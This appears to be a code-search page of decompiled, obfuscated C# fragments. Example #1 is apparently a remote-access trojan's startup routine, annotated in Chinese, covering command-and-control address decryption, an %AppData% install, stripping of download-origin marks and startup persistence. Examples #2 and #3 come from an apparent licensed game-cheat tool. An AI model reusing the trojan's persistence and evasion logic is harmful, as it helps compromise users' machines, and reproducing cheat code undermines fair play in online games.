Example #1
0
 // Token: 0x060005BB RID: 1467
 private static void smethod_2()
 {
     //判断判断互斥体是否多开,有则失去连接,并且返回
     if (!GClass2.smethod_0(GClass35.string_6))
     {
         GClass0.Disconnect = true;
     }
     if (GClass0.Disconnect)
     {
         return;
     }
     //解密Key
     GClass18.smethod_0(GClass35.string_2);
     //将上线地址解密放进队列在给实体类复制 (说明支持多地址上线)
     Class10.gclass25_0 = new GClass25(GClass6.smethod_0(GClass35.string_1));
     //解密远程文件下载路径 %AppData%/Subdir/client.exe
     GClass0.InstallPath = Path.Combine(GClass35.string_3, ((!string.IsNullOrEmpty(GClass35.string_4)) ? (GClass35.string_4 + "\\") : "") + GClass35.string_5);
     //geoip信息获取ip地理位置国家等信息
     GClass34.smethod_0();
     //判断上线地址是否失败
     if (Class10.gclass25_0.IsEmpty)
     {
         GClass0.Disconnect = true;
     }
     if (GClass0.Disconnect)
     {
         return;
     }
     //删除当前目录下的后缀为:Zone.Identifier
     GClass4.smethod_2(GClass0.CurrentPath);
     //判断当前目录是否是下载目录如果不是则进入
     if (GClass35.bool_0 && !(GClass0.CurrentPath == GClass0.InstallPath))
     {
         //互斥体存在则关闭
         GClass2.smethod_1();
         //运行下载路径的文件
         GClass13.smethod_0(Class10.client_0);
         return;
     }
     //用户状态更新线程 五秒更新一次
     GClass3.smethod_2();
     //添加程序到用户启动项
     if (GClass35.bool_1 && GClass35.bool_0 && !GClass16.smethod_1())
     {
         GClass0.AddToStartupFailed = true;
     }
     //添加并初始化实体类
     Class10.smethod_1();
     if (GClass35.bool_3)
     {
         if (Class10.threadStart_0 == null)
         {
             Class10.threadStart_0 = new ThreadStart(Class10.smethod_9);
         }
         new Thread(Class10.threadStart_0).Start();
         return;
     }
 }
    // Token: 0x0600008D RID: 141 RVA: 0x00005998 File Offset: 0x00003B98
    public EmYAmnbJAmPFVoNPovNzkiULjdTGA()
    {
        AutoUpdater.Mandatory  = true;
        AutoUpdater.UpdateMode = 2;
        AutoUpdater.Start(< Module >.smethod_7 <string>(2126698983u), null);
        AutoUpdater.ApplicationExitEvent += new AutoUpdater.ApplicationExitEventHandler(EmYAmnbJAmPFVoNPovNzkiULjdTGA.Class7.< > 9.method_0);
        this.InitializeComponent();
        Settings settings = GClass13.smethod_0();

        if (settings != null)
        {
            this.textBox_0.Text = settings.LicenceKey;
        }
    }
Example #3
0
 // Token: 0x060000BC RID: 188 RVA: 0x00005D68 File Offset: 0x00003F68
 public WHfCnaeAMEFPwbVHgQkWFbdtQGiZA(GClass12 gclass12_0)
 {
     this.InitializeComponent();
     this.gclass6_0 = new GClass6();
     this.method_0();
     this.method_10();
     this.settings_0 = GClass13.smethod_0();
     if (this.settings_0 != null)
     {
         this.slider_0.Value           = (double)this.settings_0.WindupMultiplier;
         this.slider_1.Value           = (double)this.settings_0.TotalDelayMultiplier;
         this.comboBox_1.SelectedValue = this.settings_0.DetectionHotkey;
         this.comboBox_0.SelectedValue = this.settings_0.OrbwalkHotkey;
         this.comboBox_2.SelectedValue = this.settings_0.StartStopHotkey;
         this.checkBox_1.IsChecked     = new bool?(this.settings_0.ShowRangeindicator);
         this.checkBox_0.IsChecked     = new bool?(this.settings_0.UseEmergencyStrategy);
     }
     else
     {
         this.settings_0 = new Settings(Keys.Space, Keys.N, Keys.Return, 0, 0, gclass12_0.String_0, this.checkBox_0.IsChecked.GetValueOrDefault(), this.checkBox_1.IsChecked.GetValueOrDefault(), this.toggleSwitch_1.IsChecked.GetValueOrDefault());
         this.comboBox_1.SelectedItem = Keys.Space;
         this.comboBox_0.SelectedItem = Keys.LControlKey;
         this.comboBox_2.SelectedItem = Keys.Return;
     }
     base.TitlebarHeight        = 39;
     this.settings_0.LicenceKey = gclass12_0.String_0;
     this.label_1.Content       = gclass12_0.String_1;
     this.method_5(gclass12_0.String_0);
     this.method_6();
     this.method_7(this.comboBox_1);
     this.method_7(this.comboBox_0);
     this.method_7(this.comboBox_2);
     WHfCnaeAMEFPwbVHgQkWFbdtQGiZA.GDelegate0 gdelegate0_ = new WHfCnaeAMEFPwbVHgQkWFbdtQGiZA.GDelegate0(this.method_1);
     WHfCnaeAMEFPwbVHgQkWFbdtQGiZA.GDelegate2 gdelegate2_ = new WHfCnaeAMEFPwbVHgQkWFbdtQGiZA.GDelegate2(this.method_3);
     WHfCnaeAMEFPwbVHgQkWFbdtQGiZA.GDelegate1 gdelegate1_ = new WHfCnaeAMEFPwbVHgQkWFbdtQGiZA.GDelegate1(this.method_2);
     this.class6_0  = new Class6(this.settings_0, gdelegate1_);
     this.gclass3_0 = new GClass3(this.settings_0, gdelegate0_, gdelegate2_);
     this.gclass3_0.method_0();
 }
Example #4
0
    // Token: 0x06000349 RID: 841 RVA: 0x01038528 File Offset: 0x01036728
    private static byte[] smethod_1(GClass8 gclass8_0)
    {
        byte[]   result = null;
        GClass13 gclass = new GClass13(gclass8_0);

        GClass13.GClass15 gclass2 = null;
        int num = 0;

        while (num < gclass.GClass15_0.GClass15_0.Length && gclass2 == null)
        {
            if ((long)gclass.GClass15_0.GClass15_0[num].Int32_0 == 24L)
            {
                gclass2 = gclass.GClass15_0.GClass15_0[num];
            }
            num++;
        }
        if (gclass2 != null && gclass2.GClass15_0.Length != 0 && Class7.smethod_4(gclass2.GClass15_0[0].Int32_0) && gclass2.GClass15_0[0].GClass16_0.Length == 1)
        {
            result = gclass2.GClass15_0[0].GClass16_0[0].method_0();
        }
        return(result);
    }